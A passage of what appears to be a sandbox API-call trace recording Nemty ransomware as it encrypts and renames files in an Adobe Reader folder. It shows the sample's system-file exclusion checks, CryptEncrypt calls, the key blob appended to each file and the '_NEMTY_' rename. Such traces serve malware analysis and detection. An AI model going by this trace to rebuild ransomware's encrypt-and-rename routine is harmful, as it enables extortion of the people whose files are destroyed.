lpUsedDefaultChar=0x0) returned 10 [0173.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.498] Sleep (dwMilliseconds=0x5) [0173.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0fc170, dwHighDateTime=0x1d561e8)) [0173.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b0fc170, dwHighDateTime=0x1d561e8)) [0173.501] GetLastError () returned 0x0 [0173.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.501] GetLastError () returned 0x0 [0173.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.501] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.501] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.501] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.501] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="M4s2OoaCO7qrVlz/Y+vKbHd1rrOMjvdWAOOG7lqvk8lso83HseUvQ2xK/0nCzY9O\r\nbNNKVltsaNFJlzY7P5xVEucA4JWrvGOaaT2HL1e3JPxjdwhR3u2mm1UloLGS3GoW\r\nOGgCLcxF7ZAqOcfUyb40w1194eWOxcIwkMJyL/UItRIqEH8m2gZer14cYvzXD5fY\r\n79IMI0W24YPY66mMLFyabolPiDtqLRwnGjaWQwH1+ciaQsXiCtAFbwvC7SUidrRB\r\n+Tb3+EPTbjT9LyA5auXnCOzj3Ab3QFClWCjyfHewSE2S8rzLCgCXKNYaB2Sqr6GK\r\nndSpiWfRAUUCf2sVsZ2+OA==\r\n", pcchString=0x653e5dc) returned 1 [0173.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.502] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=132096) returned 1 [0173.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.503] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.503] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.511] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.511] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.511] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=132096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20400 [0173.511] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.512] CloseHandle (hObject=0x3b0) returned 1 [0173.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.512] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat._nemty_kgobjgd_")) returned 1 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.513] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2=".") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="..") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="...") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="windows") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="rsa") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="NTDETECT.COM") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="ntldr") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="MSDOS.SYS") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="IO.SYS") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="boot.ini") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="boot.ini") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="ntuser.dat") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="desktop.ini") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="CONFIG.SYS") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="RECYCLER") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="bootmgr") returned 1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="programdata") returned -1 [0173.513] lstrcmpiW (lpString1="DVA.CAT", lpString2="appdata") returned 1 [0173.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CAT", lpUsedDefaultChar=0x0) returned 7 [0173.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CAT", lpUsedDefaultChar=0x0) returned 7 [0173.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CAT", lpUsedDefaultChar=0x0) returned 7 [0173.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CAT", lpUsedDefaultChar=0x0) returned 7 [0173.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.514] Sleep (dwMilliseconds=0x5) [0173.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1222d0, dwHighDateTime=0x1d561e8)) [0173.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1222d0, dwHighDateTime=0x1d561e8)) [0173.518] GetLastError () returned 0x0 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.518] GetLastError () returned 0x0 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.518] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.518] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="q1ZgPPB40WzMqZ2T/et/bJOHRuIdeDwoO/6u3lCjtb1Rs76DD7Zc4qYTCOuIUzRZ\r\nJDLwT86/13zcXP41E/HHmSd+A4SB1mydP67MXLSvr23RbfTH7g9EkeihbVahirPS\r\n0/OAfLDX8OuTOUd5lJg1k+Ond70W0g+m2kX9zxgu9zL0LJT/yScK1IRk1KNhkRQd\r\nlSlBlkYxqdNxRGuMDypqM6M3Gje4xsThZczbTgUb6oh52qmIX90J7PpCboyTy+45\r\n1z8ZlnE9R4qQ60c9En+7plMpHpy3priQtAKdIPjBAmKmh1YHFHGUlepVBVdZo8xa\r\nLY3UFcvjVEq84b28nRbYgA==\r\n", pcchString=0x653e5dc) returned 1 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.519] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0173.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0173.519] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.519] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0173.522] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.522] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0173.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.522] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0173.522] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.522] CloseHandle (hObject=0x3b0) returned 1 [0173.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.522] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat._nemty_kgobjgd_")) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.523] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2=".") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="..") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="...") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="windows") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="rsa") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="NTDETECT.COM") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="ntldr") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="MSDOS.SYS") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="IO.SYS") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="boot.ini") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="boot.ini") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="ntuser.dat") returned -1 [0173.523] lstrcmpiW (lpString1="eBook.CAT", lpString2="desktop.ini") returned 1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="CONFIG.SYS") returned 1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="RECYCLER") returned -1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="bootmgr") returned 1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="programdata") returned -1 [0173.524] lstrcmpiW (lpString1="eBook.CAT", lpString2="appdata") returned 1 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CAT", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CAT", lpUsedDefaultChar=0x0) returned 9 [0173.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 